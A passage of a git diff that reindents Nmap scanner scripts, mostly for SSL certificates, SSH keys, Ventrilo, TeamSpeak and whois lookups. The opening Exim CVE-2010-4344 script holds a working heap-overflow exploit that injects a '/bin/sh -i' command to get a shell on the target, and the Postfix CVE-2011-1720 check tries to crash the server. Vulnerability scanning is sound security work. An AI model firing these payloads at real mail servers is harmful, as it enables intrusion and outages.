[%s]: message too big: ".. - "read=%s max=%s\nEnvelope-from: <%s>\nEnvelope-to: <%s>\n", - log_buf, smtp_opts.mailfrom, log_host, smtp_opts.domain_ip, - msg_len, smtp_opts.size, smtp_opts.mailfrom, - smtp_opts.mailto) + "read=%s max=%s\nEnvelope-from: <%s>\nEnvelope-to: <%s>\n", + log_buf, smtp_opts.mailfrom, log_host, smtp_opts.domain_ip, + msg_len, smtp_opts.size, smtp_opts.mailfrom, + smtp_opts.mailto) log_buf_size = log_buf_size - 3 local filler, hdrs, nmap_hdr = string.rep("X", 8 * 16), "", "NmapHeader" @@ -221,7 +221,7 @@ local function exploit_heap(socket, smtp_opts) for fd = 3, 12 do hdrx = hdrx.. string.format("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}} ", - fd) + fd) end end @@ -231,7 +231,7 @@ local function exploit_heap(socket, smtp_opts) end stdnse.print_debug(1, "%s: sending forged mail, size: %dMB", - SCRIPT_NAME, msg_len / (1024*1024)) + SCRIPT_NAME, msg_len / (1024*1024)) -- use low socket level functions. status, ret = socket:send(hdrs) @@ -279,24 +279,24 @@ local function exploit_heap(socket, smtp_opts) end stdnse.print_debug(2, "%s: the forged mail was sent successfully.", - SCRIPT_NAME) + SCRIPT_NAME) -- second round status, response = smtp.query(socket, "MAIL", - string.format("FROM:<%s>", smtp_opts.mailfrom)) + string.format("FROM:<%s>", smtp_opts.mailfrom)) if not status then return status, response end status, ret = smtp.query(socket, "RCPT", - string.format("TO:<%s>", smtp_opts.mailto)) + string.format("TO:<%s>", smtp_opts.mailto)) if not status then return status, ret end if response:match("sh:%s") or ret:match("sh:%s") then stdnse.print_debug(2, - "%s: successfully exploited the Exim heap overflow.", SCRIPT_NAME) + "%s: successfully exploited the Exim heap overflow.", SCRIPT_NAME) exploited = "heap-exploited" end @@ -314,11 +314,11 @@ local function check_exim(smtp_opts) local exim_heap_result, exim_priv_result = "", "" local socket, ret = smtp.connect(smtp_opts.host, - smtp_opts.port, - {ssl = true, - timeout = 8000, - recv_before = true, - lines = 1}) + smtp_opts.port, + {ssl = true, + timeout = 8000, + recv_before = true, + lines = 1}) if not socket then return smtp_finish(nil, socket, ret) @@ -332,31 +332,31 @@ local function check_exim(smtp_opts) smtp_server.smtpd = smtp_server.banner:match("Exim") if smtp_server.smtpd and smtp_server.version then table.insert(out, 1, - string.format("Exim version: %.02f", smtp_server.version)) + string.format("Exim version: %.02f", smtp_server.version)) if smtp_server.version > exim_heap_ver then exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE", - heap_cve) + heap_cve) else exim_heap_result = string.format(" Exim (%s): LIKELY VULNERABLE", - heap_cve) + heap_cve) end if smtp_server.version > exim_priv_ver then exim_priv_result = string.format(" Exim (%s): NOT VULNERABLE", - priv_cve) + priv_cve) else exim_priv_result = string.format(" Exim (%s): LIKELY VULNERABLE", - priv_cve) + priv_cve) end else return smtp_finish(socket, true, - 'The SMTP server is not Exim: NOT VULNERABLE') + 'The SMTP server is not Exim: NOT VULNERABLE') end else return smtp_finish(socket, false, - 'failed to read the SMTP banner.') + 'failed to read the SMTP banner.') end if not smtp_opts.exploit then @@ -377,7 +377,7 @@ local function check_exim(smtp_opts) for _, line in pairs(stdnse.strsplit("\r?\n", response)) do if not smtp_opts.ehlo_host or not smtp_opts.domain_ip then smtp_opts.ehlo_host, smtp_opts.domain_ip = - line:match("%d+.*Hello%s(.*)%s%[(.*)%]") + line:match("%d+.*Hello%s(.*)%s%[(.*)%]") end if not smtp_server.size then smtp_server.size = line:match("%d+%-SIZE%s(%d+)") @@ -402,8 +402,8 @@ local function check_exim(smtp_opts) end if not smtp_opts.mailto then smtp_opts.mailto = string.format("postmaster@%s", - smtp_opts.host.targetname and - smtp_opts.host.targetname or 'localhost') + smtp_opts.host.targetname and + smtp_opts.host.targetname or 'localhost') end status, ret = exploit_heap(socket, smtp_opts) @@ -411,20 +411,20 @@ local function check_exim(smtp_opts) return smtp_finish(nil, status, ret) elseif ret then exim_heap_result = string.format(" Exim (%s): VULNERABLE", - heap_cve) + heap_cve) exim_priv_result = string.format(" Exim (%s): VULNERABLE", - priv_cve) + priv_cve) if ret:match("exploited") then -- clear socket socket:receive_lines(1) if smtp_opts.shell_cmd then status, response = send_recv(socket, - string.format("%s\n", smtp_opts.shell_cmd)) + string.format("%s\n", smtp_opts.shell_cmd)) if status then exim_heap_result = exim_heap_result .. - string.format("\n Shell command '%s': %s", - smtp_opts.shell_cmd, - string.gsub(response, "^%$*%s*(.-)\n*%$*$", "%1")) + string.format("\n Shell command '%s': %s", + smtp_opts.shell_cmd, + string.gsub(response, "^%$*%s*(.-)\n*%$*$", "%1")) end end @@ -436,7 +436,7 @@ local function check_exim(smtp_opts) end else exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE", - heap_cve) + heap_cve) end table.insert(out, 3, exim_heap_result) @@ -449,12 +449,12 @@ action = function(host, port) host = host, port = port, domain = stdnse.get_script_args('smtp.domain') or - 'nmap.scanme.org', + 'nmap.scanme.org', mailfrom = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailfrom'), mailto = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailto'), exploit = stdnse.get_script_args('smtp-vuln-cve2010-4344.exploit'), shell_cmd = stdnse.get_script_args('exploit.cmd') or - stdnse.get_script_args('smtp-vuln-cve2010-4344.cmd'), + stdnse.get_script_args('smtp-vuln-cve2010-4344.cmd'), } if smtp_opts.shell_cmd then smtp_opts.exploit = true diff --git a/scripts/smtp-vuln-cve2011-1720.nse b/scripts/smtp-vuln-cve2011-1720.nse index a882f7f1d..0e66859ad 100644 --- a/scripts/smtp-vuln-cve2011-1720.nse +++ b/scripts/smtp-vuln-cve2011-1720.nse @@ -49,7 +49,7 @@ categories = {"intrusive", "vuln"} portrule = shortport.port_or_service({25, 465, 587}, - {"smtp", "smtps", "submission"}) + {"smtp", "smtps", "submission"}) local AUTH_VULN = { -- AUTH MECHANISM @@ -116,7 +116,7 @@ end local function kill_smtpd(socket, mech, mkill) local killed, ret = false local status, response = smtp.query(socket, "AUTH", - string.format("%s", mech)) + string.format("%s", mech)) if not status then return status, response end @@ -130,7 +130,7 @@ local function kill_smtpd(socket, mech, mkill) smtp.query(socket, "*") status, response = smtp.query(socket, "AUTH", - string.format("%s", mkill)) + string.format("%s", mkill)) if status then -- abort the last AUTH command. status, response = smtp.query(socket, "*") @@ -152,10 +152,10 @@ end -- http://www.postfix.org/CVE-2011-1720.html local function check_smtpd(smtp_opts) local socket, ret = smtp.connect(smtp_opts.host, - smtp_opts.port, - {ssl = false, - recv_before = true, - lines = 1}) + smtp_opts.port, + {ssl = false, + recv_before = true, + lines = 1}) if not socket then return socket, ret @@ -206,7 +206,7 @@ local function check_smtpd(smtp_opts) if (#auth_mech_str > 0) then vuln.extra_info = {} table.insert(vuln.extra_info, - string.format("Available AUTH MECHANISMS: %s", auth_mech_str)) + string.format("Available AUTH MECHANISMS: %s", auth_mech_str)) -- maybe vulnerable if next(auth_mech_list) then @@ -231,7 +231,7 @@ local function check_smtpd(smtp_opts) table.insert(vuln.check_results, string.format("AUTH tests:%s", auth_tests)) table.insert(vuln.check_results, - string.format("VULNERABLE (%s => %s)", mech, mkill)) + string.format("VULNERABLE (%s => %s)", mech, mkill)) return smtp_finish(nil, true) end @@ -243,11 +243,11 @@ local function check_smtpd(smtp_opts) end table.insert(vuln.check_results, string.format("AUTH tests:%s", - auth_tests)) + auth_tests)) end else stdnse.print_debug(2, "%s: Authentication is not available", - SCRIPT_NAME) + SCRIPT_NAME) table.insert(vuln.check_results, "Authentication is not available") end @@ -260,7 +260,7 @@ action = function(host, port) host = host, port = port, domain = stdnse.get_script_args('smtp-vuln-cve2011-1720.domain') or - smtp.get_domain(host), + smtp.get_domain(host), vuln = { title = 'Postfix SMTP server Cyrus SASL Memory Corruption', IDS = {CVE = 'CVE-2011-1720', OSVDB = '72259'}, diff --git a/scripts/ssh-hostkey.nse b/scripts/ssh-hostkey.nse index a2f2ae773..814e59830 100644 --- a/scripts/ssh-hostkey.nse +++ b/scripts/ssh-hostkey.nse @@ -170,7 +170,7 @@ local function check_keys(host, keys, f) if not foundhostname then for _, k in ipairs(keys_found) do if ("%s %s"):format(parts[2], parts[3]) == k then - table.insert(same_key_hashed, {lnumber = lnumber}) + table.insert(same_key_hashed, {lnumber = lnumber}) end end end @@ -182,9 +182,9 @@ local function check_keys(host, keys, f) else -- Is the key the same but the clear text hostname isn't? for _, k in ipairs(keys_found) do - if ("%s %s"):format(parts[2], parts[3]) == k then - table.insert(same_key, {name=parts[1], key=("%s %s"):format(parts[2], parts[3]), lnumber=lnumber}) - end + if ("%s %s"):format(parts[2], parts[3]) == k then + table.insert(same_key, {name=parts[1], key=("%s %s"):format(parts[2], parts[3]), lnumber=lnumber}) + end end end end @@ -204,7 +204,7 @@ local function check_keys(host, keys, f) end end if not matched then - table.insert(different_keys, k) + table.insert(different_keys, k) end end @@ -214,30 +214,30 @@ local function check_keys(host, keys, f) return_string = return_string .. "\n\t" .. "No entry for scanned host found in known_hosts file." else if next(matched_keys) or next(same_key_hashed) or next(same_key) then - return_string = return_string .. "\n\tGOOD Matches in known_hosts file: " - if next(matched_keys) then - for __, gm in ipairs(matched_keys) do - return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name - end + return_string = return_string .. "\n\tGOOD Matches in known_hosts file: " + if next(matched_keys) then + for __, gm in ipairs(matched_keys) do + return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name end - if next(same_key) then - for __, gm in ipairs(same_key) do - return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name - end + end + if next(same_key) then + for __, gm in ipairs(same_key) do + return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name end + end - if next(same_key_hashed) then - for __, gm in ipairs(same_key_hashed) do - return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " - end + if next(same_key_hashed) then + for __, gm in ipairs(same_key_hashed) do + return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " end + end - if different_keys ~= 0 then - return_string = return_string .. "\n\tWRONG Matches in known_hosts file: " - for __, gm in ipairs(different_keys) do - return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name - end + if different_keys ~= 0 then + return_string = return_string .. "\n\tWRONG Matches in known_hosts file: " + for __, gm in ipairs(different_keys) do + return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name end + end end end return true, return_string @@ -275,11 +275,11 @@ local function portaction(host, port) for _, key in ipairs( keys ) do add_key_to_registry( host, key ) table.insert(output_tab, { - fingerprint=stdnse.tohex(key.fingerprint), - type=key.key_type, - bits=key.bits, - key=base64.enc(key.key), - }) + fingerprint=stdnse.tohex(key.fingerprint), + type=key.key_type, + bits=key.bits, + key=base64.enc(key.key), + }) if format:find( 'hex', 1, true ) or all_formats then table.insert( output, ssh1.fingerprint_hex( key.fingerprint, key.algorithm, key.bits ) ) end diff --git a/scripts/ssl-cert.nse b/scripts/ssl-cert.nse index 50eddf9d2..0f0114fbf 100644 --- a/scripts/ssl-cert.nse +++ b/scripts/ssl-cert.nse @@ -116,60 +116,60 @@ categories = { "default", "safe", "discovery" } portrule = function(host, port) - return shortport.ssl(host, port) or sslcert.isPortSupported(port) + return shortport.ssl(host, port) or sslcert.isPortSupported(port) end -- Find the index of a value in an array. function table_find(t, value) - local i, v - for i, v in ipairs(t) do - if v == value then - return i - end + local i, v + for i, v in ipairs(t) do + if v == value then + return i end - return nil + end + return nil end function date_to_string(date) - if not date then - return "MISSING" - end - if type(date) == "string" then - return string.format("Can't parse; string is \"%s\"", date) - else - return stdnse.format_timestamp(stdnse.date_to_timestamp(date, 0), 0) - end + if not date then + return "MISSING" + end + if type(date) == "string" then + return string.format("Can't parse; string is \"%s\"", date) + else + return stdnse.format_timestamp(stdnse.date_to_timestamp(date, 0), 0) + end end -- These are the subject/issuer name fields that will be shown, in this order, -- without a high verbosity. local NON_VERBOSE_FIELDS = { "commonName", "organizationName", - "stateOrProvinceName", "countryName" } +"stateOrProvinceName", "countryName" } function stringify_name(name) - local fields = {} - local _, k, v - if not name then - return nil + local fields = {} + local _, k, v + if not name then + return nil + end + for _, k in ipairs(NON_VERBOSE_FIELDS) do + v = name[k] + if v then + fields[#fields + 1] = string.format("%s=%s", k, v) end - for _, k in ipairs(NON_VERBOSE_FIELDS) do - v = name[k] - if v then - fields[#fields + 1] = string.format("%s=%s", k, v) + end + if nmap.verbosity() > 1 then + for k, v in pairs(name) do + -- Don't include a field twice. + if not table_find(NON_VERBOSE_FIELDS, k) then + if type(k) == "table" then + k = stdnse.strjoin(".", k) end + fields[#fields + 1] = string.format("%s=%s", k, v) + end end - if nmap.verbosity() > 1 then - for k, v in pairs(name) do - -- Don't include a field twice. - if not table_find(NON_VERBOSE_FIELDS, k) then - if type(k) == "table" then - k = stdnse.strjoin(".", k) - end - fields[#fields + 1] = string.format("%s=%s", k, v) - end - end - end - return stdnse.strjoin("/", fields) + end + return stdnse.strjoin("/", fields) end local function name_to_table(name) @@ -184,61 +184,61 @@ local function name_to_table(name) end local function output_tab(cert) - local o = stdnse.output_table() - o.subject = name_to_table(cert.subject) - o.issuer = name_to_table(cert.issuer) - o.pubkey = cert.pubkey - o.validity = {} - for k, v in pairs(cert.validity) do - if type(v)=="string" then - o.validity[k] = v - else - o.validity[k] = stdnse.format_timestamp(stdnse.date_to_timestamp(v, 0), 0) - end + local o = stdnse.output_table() + o.subject = name_to_table(cert.subject) + o.issuer = name_to_table(cert.issuer) + o.pubkey = cert.pubkey + o.validity = {} + for k, v in pairs(cert.validity) do + if type(v)=="string" then + o.validity[k] = v + else + o.validity[k] = stdnse.format_timestamp(stdnse.date_to_timestamp(v, 0), 0) end - o.md5 = stdnse.tohex(cert:digest("md5")) - o.sha1 = stdnse.tohex(cert:digest("sha1")) - o.pem = cert.pem - return o + end + o.md5 = stdnse.tohex(cert:digest("md5")) + o.sha1 = stdnse.tohex(cert:digest("sha1")) + o.pem = cert.pem + return o end local function output_str(cert) - local lines = {} + local lines = {} - lines[#lines + 1] = "Subject: " .. stringify_name(cert.subject) + lines[#lines + 1] = "Subject: " .. stringify_name(cert.subject) - if nmap.verbosity() > 0 then - lines[#lines + 1] = "Issuer: " .. stringify_name(cert.issuer) - end + if nmap.verbosity() > 0 then + lines[#lines + 1] = "Issuer: " .. stringify_name(cert.issuer) + end - if nmap.verbosity() > 0 then - lines[#lines + 1] = "Public Key type: " .. cert.pubkey.type - lines[#lines + 1] = "Public Key bits: " .. cert.pubkey.bits - end + if nmap.verbosity() > 0 then + lines[#lines + 1] = "Public Key type: " .. cert.pubkey.type + lines[#lines + 1] = "Public Key bits: " .. cert.pubkey.bits + end - lines[#lines + 1] = "Not valid before: " .. - date_to_string(cert.validity.notBefore) - lines[#lines + 1] = "Not valid after: " .. - date_to_string(cert.validity.notAfter) + lines[#lines + 1] = "Not valid before: " .. + date_to_string(cert.validity.notBefore) + lines[#lines + 1] = "Not valid after: " .. + date_to_string(cert.validity.notAfter) - if nmap.verbosity() > 0 then - lines[#lines + 1] = "MD5: " .. stdnse.tohex(cert:digest("md5"), { separator = " ", group = 4 }) - lines[#lines + 1] = "SHA-1: " .. stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 }) - end + if nmap.verbosity() > 0 then + lines[#lines + 1] = "MD5: " .. stdnse.tohex(cert:digest("md5"), { separator = " ", group = 4 }) + lines[#lines + 1] = "SHA-1: " .. stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 }) + end - if nmap.verbosity() > 1 then - lines[#lines + 1] = cert.pem - end - return stdnse.strjoin("\n", lines) + if nmap.verbosity() > 1 then + lines[#lines + 1] = cert.pem + end + return stdnse.strjoin("\n", lines) end action = function(host, port) - local status, cert = sslcert.getCertificate(host, port) - if ( not(status) ) then - return - end + local status, cert = sslcert.getCertificate(host, port) + if ( not(status) ) then + return + end - return output_tab(cert), output_str(cert) + return output_tab(cert), output_str(cert) end diff --git a/scripts/teamspeak2-version.nse b/scripts/teamspeak2-version.nse index c1e5607a3..0683a6190 100644 --- a/scripts/teamspeak2-version.nse +++ b/scripts/teamspeak2-version.nse @@ -26,36 +26,36 @@ local payload = "\xf4\xbe\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x0 portrule = shortport.version_port_or_service({8767}, "teamspeak2", "udp") action = function(host, port) - local status, result = comm.exchange( - host, port.number, payload, { proto = "udp", timeout = 3000 }) - if not status then - return - end - nmap.set_port_state(host, port, "open") - - local name, platform, version = string.match(result, - "^\xf4\xbe\x04\0\0\0\0\0.............([^\0]*)%G+([^\0]*)\0*(........)") - if not name then - return - end - - port.version.name = "teamspeak2" - port.version.name_confidence = 10 - port.version.product = "TeamSpeak" - if name == "" then - port.version.version = "2" - else - local _, v_a, v_b, v_c, v_d = bin.unpack("" + else + for j, client in ipairs(channel.clients) do + buf = buf .. "\n " + buf = buf .. client.NAME buf = buf .. " (" - for j, channelfield in ipairs(info.channelfields) do - if channelfield ~= "NAME" and channelfield ~= "n/a" then - buf = buf .. channelfield - buf = buf .. ": " - buf = buf .. (channel[channelfield] or "n/a") - if j ~= #info.channelfields then - buf = buf .. ", " - end - end - end - buf = buf .. "): " - if not channel.clients then - buf = buf .. "" - else - for j, client in ipairs(channel.clients) do - buf = buf .. "\n " - buf = buf .. client.NAME - buf = buf .. " (" - for k, clientfield in ipairs(info.clientfields) do - if clientfield ~= "NAME" and clientfield ~= "CID" then - buf = buf .. clientfield - buf = buf .. ": " - buf = buf .. client[clientfield] - if k ~= #info.clientfields then - buf = buf .. ", " - end - end - end + for k, clientfield in ipairs(info.clientfields) do + if clientfield ~= "NAME" and clientfield ~= "CID" then + buf = buf .. clientfield + buf = buf .. ": " + buf = buf .. client[clientfield] + if k ~= #info.clientfields then + buf = buf .. ", " end + end end + end end + end - return strbuf.dump(buf, "") + return strbuf.dump(buf, "") end portrule = shortport.version_port_or_service({3784}, "ventrilo", {"tcp", "udp"}) action = function(host, port) - local mutex = nmap.mutex("ventrilo-info:" .. host.ip .. ":" .. port.number) - mutex("lock") + local mutex = nmap.mutex("ventrilo-info:" .. host.ip .. ":" .. port.number) + mutex("lock") - if host.registry["ventrilo-info"] == nil then - host.registry["ventrilo-info"] = {} + if host.registry["ventrilo-info"] == nil then + host.registry["ventrilo-info"] = {} + end + -- Maybe the script already ran for this port number on another protocol + local r = host.registry["ventrilo-info"][port.number] + if r == nil then + r = {} + host.registry["ventrilo-info"][port.number] = r + + local socket = nmap.new_socket() + socket:set_timeout(2000) + + local cleanup = function() + socket:close() + mutex("done") end - -- Maybe the script already ran for this port number on another protocol - local r = host.registry["ventrilo-info"][port.number] - if r == nil then - r = {} - host.registry["ventrilo-info"][port.number] = r + local try = nmap.new_try(cleanup) - local socket = nmap.new_socket() - socket:set_timeout(2000) + local udpport = { number = port.number, protocol = "udp" } + try(socket:connect(host.ip, udpport)) - local cleanup = function() - socket:close() - mutex("done") - end - local try = nmap.new_try(cleanup) - - local udpport = { number = port.number, protocol = "udp" } - try(socket:connect(host.ip, udpport)) - - local status, response - -- try a couple of times on timeout, the service seems to not - -- respond if multiple requests come within a short timeframe - for _ = 1,3 do - try(socket:send(static_probe_payload)) - status, response = socket:receive() - if status then - nmap.set_port_state(host, udpport, "open") - break - end - end - if not status then - -- 3 timeouts, no response - cleanup() - return - end - - -- received the first packet, process it and others if they come - local fulldata = {} - local fulldatalen = 0 - local curlen = 0 - local head_crc_sum - while true do - -- decrypt received header and extract relevant information - local id, len, totlen, pck, totpck, key, crc_sum = dec_head(response) - - if id == static_probe_id then - curlen = curlen + len - head_crc_sum = crc_sum - - -- check for an invalid response - if #response < 20 or pck >= totpck or - len > 492 or curlen > totlen then - stdnse.print_debug("Invalid response. Aborting script.") - cleanup() - return - end - - -- keep track of the length of fulldata (# isn't applicable) - if fulldata[pck + 1] == nil then - fulldatalen = fulldatalen + 1 - end - -- accumulate UDP packets that may not necessarily come in proper - -- order; arrange them by packet id - fulldata[pck + 1] = dec_data(response, len, key) - end - - -- check for invalid states in communication - if (fulldatalen > totpck) or (curlen > totlen) - or (fulldatalen == totpck and curlen ~= totlen) - or (curlen == totlen and fulldatalen ~= totpck) then - stdnse.print_debug("Invalid state (fulldatalen = " .. fulldatalen .. - "; totpck = " .. totpck .. "; curlen = " .. curlen .. - "; totlen = " .. totlen .. "). Aborting script.") - cleanup() - return - end - - -- check for valid end of communication - if fulldatalen == totpck and curlen == totlen then - break - end - - -- receive another packet - status, response = socket:receive() - if not status then - stdnse.print_debug("Response packets stopped coming midway. Aborting script.") - cleanup() - return - end - end - - socket:close() - - -- concatenate received data into a single string for further use - local fulldata_str = table.concat(fulldata) - - -- check for an invalid checksum on the response data sections (no headers) - local fulldata_crc_sum = crc(fulldata_str) - if fulldata_crc_sum ~= head_crc_sum then - stdnse.print_debug("Invalid CRC sum, received = %04X, calculated = %04X", head_crc_sum, fulldata_crc_sum) - cleanup() - return - end - - -- parse the received data string into an output table - r.info = o_table(fulldata_str) + local status, response + -- try a couple of times on timeout, the service seems to not + -- respond if multiple requests come within a short timeframe + for _ = 1,3 do + try(socket:send(static_probe_payload)) + status, response = socket:receive() + if status then + nmap.set_port_state(host, udpport, "open") + break + end + end + if not status then + -- 3 timeouts, no response + cleanup() + return end - mutex("done") + -- received the first packet, process it and others if they come + local fulldata = {} + local fulldatalen = 0 + local curlen = 0 + local head_crc_sum + while true do + -- decrypt received header and extract relevant information + local id, len, totlen, pck, totpck, key, crc_sum = dec_head(response) - -- If the registry is empty the port was probed but Ventrilo wasn't detected - if next(r) == nil then + if id == static_probe_id then + curlen = curlen + len + head_crc_sum = crc_sum + + -- check for an invalid response + if #response < 20 or pck >= totpck or + len > 492 or curlen > totlen then + stdnse.print_debug("Invalid response. Aborting script.") + cleanup() + return + end + + -- keep track of the length of fulldata (# isn't applicable) + if fulldata[pck + 1] == nil then + fulldatalen = fulldatalen + 1 + end + -- accumulate UDP packets that may not necessarily come in proper + -- order; arrange them by packet id + fulldata[pck + 1] = dec_data(response, len, key) + end + + -- check for invalid states in communication + if (fulldatalen > totpck) or (curlen > totlen) + or (fulldatalen == totpck and curlen ~= totlen) + or (curlen == totlen and fulldatalen ~= totpck) then + stdnse.print_debug("Invalid state (fulldatalen = " .. fulldatalen .. + "; totpck = " .. totpck .. "; curlen = " .. curlen .. + "; totlen = " .. totlen .. "). Aborting script.") + cleanup() return + end + + -- check for valid end of communication + if fulldatalen == totpck and curlen == totlen then + break + end + + -- receive another packet + status, response = socket:receive() + if not status then + stdnse.print_debug("Response packets stopped coming midway. Aborting script.") + cleanup() + return + end end - port.version.name = "ventrilo" - port.version.name_confidence = 10 - port.version.product = "Ventrilo" - port.version.version = r.info.version - port.version.ostype = r.info.platform - port.version.extrainfo = "; name: ".. r.info.name - if port.protocol == "tcp" then - port.version.extrainfo = "voice port" .. port.version.extrainfo - else - port.version.extrainfo = "status port" .. port.version.extrainfo + socket:close() + + -- concatenate received data into a single string for further use + local fulldata_str = table.concat(fulldata) + + -- check for an invalid checksum on the response data sections (no headers) + local fulldata_crc_sum = crc(fulldata_str) + if fulldata_crc_sum ~= head_crc_sum then + stdnse.print_debug("Invalid CRC sum, received = %04X, calculated = %04X", head_crc_sum, fulldata_crc_sum) + cleanup() + return end - port.version.extrainfo = port.version.extrainfo .. "; uptime: " .. uptime_str(r.info.uptime) - port.version.extrainfo = port.version.extrainfo .. "; auth: " .. auth_str(r.info.auth) - nmap.set_port_version(host, port, "hardmatched") + -- parse the received data string into an output table + r.info = o_table(fulldata_str) + end - -- an output table for XML output and a custom string for normal output - return r.info, o_str(r.info) + mutex("done") + + -- If the registry is empty the port was probed but Ventrilo wasn't detected + if next(r) == nil then + return + end + + port.version.name = "ventrilo" + port.version.name_confidence = 10 + port.version.product = "Ventrilo" + port.version.version = r.info.version + port.version.ostype = r.info.platform + port.version.extrainfo = "; name: ".. r.info.name + if port.protocol == "tcp" then + port.version.extrainfo = "voice port" .. port.version.extrainfo + else + port.version.extrainfo = "status port" .. port.version.extrainfo + end + port.version.extrainfo = port.version.extrainfo .. "; uptime: " .. uptime_str(r.info.uptime) + port.version.extrainfo = port.version.extrainfo .. "; auth: " .. auth_str(r.info.auth) + + nmap.set_port_version(host, port, "hardmatched") + + -- an output table for XML output and a custom string for normal output + return r.info, o_str(r.info) end diff --git a/scripts/whois-domain.nse b/scripts/whois-domain.nse index f28b3487e..a59fbc983 100644 --- a/scripts/whois-domain.nse +++ b/scripts/whois-domain.nse @@ -90,86 +90,86 @@ local string = require "string" local table = require "table" hostrule = function( host ) - local is_private, err = ipOps.isPrivate( host.ip ) - if is_private == nil then - stdnse.print_debug( "%s Error in Hostrule: %s.", SCRIPT_NAME, err ) - return false - end + local is_private, err = ipOps.isPrivate( host.ip ) + if is_private == nil then + stdnse.print_debug( "%s Error in Hostrule: %s.", SCRIPT_NAME, err ) + return false + end - return not is_private + return not is_private end action = function( host ) - local mutexes = {} + local mutexes = {} - -- If the user has provided a domain name. - if host.targetname then + -- If the user has provided a domain name. + if host.targetname then - local referral_patterns = {"refer:%s*(.-)\n", "Whois%sServer:%s*(.-)\n"} + local referral_patterns = {"refer:%s*(.-)\n", "Whois%sServer:%s*(.-)\n"} - -- Remove www prefix and add a newline. - local query_data = string.gsub(host.targetname, "^www%.", "") .. "\n" + -- Remove www prefix and add a newline. + local query_data = string.gsub(host.targetname, "^www%.", "") .. "\n" - local result + local result - -- First server to query is iana's. - local referral = "whois.iana.org" + -- First server to query is iana's. + local referral = "whois.iana.org" - while referral do + while referral do - if not mutexes[referral] then - mutexes[referral] = nmap.mutex(referral) - end + if not mutexes[referral] then + mutexes[referral] = nmap.mutex(referral) + end - mutexes[referral] "lock" + mutexes[referral] "lock" - result = {} - local socket = nmap.new_socket() - local catch = function() - stdnse.print_debug( "fail") - socket:close() - end + result = {} + local socket = nmap.new_socket() + local catch = function() + stdnse.print_debug( "fail") + socket:close() + end - local status, line = {} - local try = nmap.new_try( catch ) + local status, line = {} + local try = nmap.new_try( catch ) - socket:set_timeout( 50000 ) + socket:set_timeout( 50000 ) - try( socket:connect(referral, 43 ) ) - try( socket:send( query_data ) ) - - while true do - local status, lines = socket:receive_lines(1) - if not status then - break - else - result[#result+1] = lines - end - end - - socket:close() - - mutexes[referral] "done" - - if #result == 0 then - return nil - end - - table.insert(result, 1, "\n\nDomain name record found at " .. referral .. "\n") - - -- Do we have a referral? - referral = false - for _, p in ipairs(referral_patterns) do - referral = referral or string.match(table.concat(result), p) - end + try( socket:connect(referral, 43 ) ) + try( socket:send( query_data ) ) + while true do + local status, lines = socket:receive_lines(1) + if not status then + break + else + result[#result+1] = lines end + end + + socket:close() + + mutexes[referral] "done" + + if #result == 0 then + return nil + end + + table.insert(result, 1, "\n\nDomain name record found at " .. referral .. "\n") + + -- Do we have a referral? + referral = false + for _, p in ipairs(referral_patterns) do + referral = referral or string.match(table.concat(result), p) + end - result = table.concat( result ) - return result end - return "You should provide a domain name." + + result = table.concat( result ) + return result + end + return "You should provide a domain name." end diff --git a/scripts/whois-ip.nse b/scripts/whois-ip.nse index 2d63440ad..48062db6e 100644 --- a/scripts/whois-ip.nse +++ b/scripts/whois-ip.nse @@ -197,25 +197,25 @@ action = function( host ) status, retval = pcall( get_next_action, tracking, host.ip ) if not status then stdnse.print_debug( "%s %s pcall caught an exception in get_next_action: %s.", SCRIPT_NAME, host.ip, retval ) - else tracking = retval end + else tracking = retval end - if tracking.this_db then - -- do query - local response = do_query( tracking.this_db, host.ip ) - tracking.completed[#tracking.completed+1] = tracking.this_db + if tracking.this_db then + -- do query + local response = do_query( tracking.this_db, host.ip ) + tracking.completed[#tracking.completed+1] = tracking.this_db - -- analyse data - status, retval = pcall( analyse_response, tracking, host.ip, response, data ) - if not status then - stdnse.print_debug( "%s %s pcall caught an exception in analyse_response: %s.", SCRIPT_NAME, host.ip, retval ) - else data = retval end + -- analyse data + status, retval = pcall( analyse_response, tracking, host.ip, response, data ) + if not status then + stdnse.print_debug( "%s %s pcall caught an exception in analyse_response: %s.", SCRIPT_NAME, host.ip, retval ) + else data = retval end - -- get next action - status, retval = pcall( get_next_action, tracking, host.ip ) - if not status then - stdnse.print_debug( "%s %s pcall caught an exception in get_next_action: %s.", SCRIPT_NAME, host.ip, retval ) - if not tracking.last_db then tracking.last_db, tracking.this_db = tracking.this_db or tracking.next_db, nil end - else tracking = retval end + -- get next action + status, retval = pcall( get_next_action, tracking, host.ip ) + if not status then + stdnse.print_debug( "%s %s pcall caught an exception in get_next_action: %s.", SCRIPT_NAME, host.ip, retval ) + if not tracking.last_db then tracking.last_db, tracking.this_db = tracking.this_db or tracking.next_db, nil end +else tracking = retval end end nmap.registry.whois.mutex[tracking.last_db] "done" @@ -1366,828 +1366,828 @@ function script_init( ) rpsl = { ob_exist = "\r?\n?%s*[Ii]net6?num:%s*.-\r?\n", ob_netnum = {ob_start = "\r?\n?%s*[Ii]net6?num:%s*.-\r?\n", - ob_end = "\r?\n%s*[Ss]ource:%s*.-\r?\n\r?\n", - inetnum = "\r?\n%s*[Ii]net6?num:%s*(.-)\r?\n", - netname = "\r?\n%s*[Nn]et[-]-[Nn]ame:%s*(.-)\r?\n", - nettype = "\r?\n%s*[Nn]et[-]-[Tt]ype:%s*(.-)\r?\n", - descr = "[Dd]escr:[^\r?\n][%s]*(.-)\r?\n", - country = "\r?\n%s*[Cc]ountry:%s*(.-)\r?\n", - status = "\r?\n%s*[Ss]tatus:%s*(.-)\r?\n", + ob_end = "\r?\n%s*[Ss]ource:%s*.-\r?\n\r?\n", + 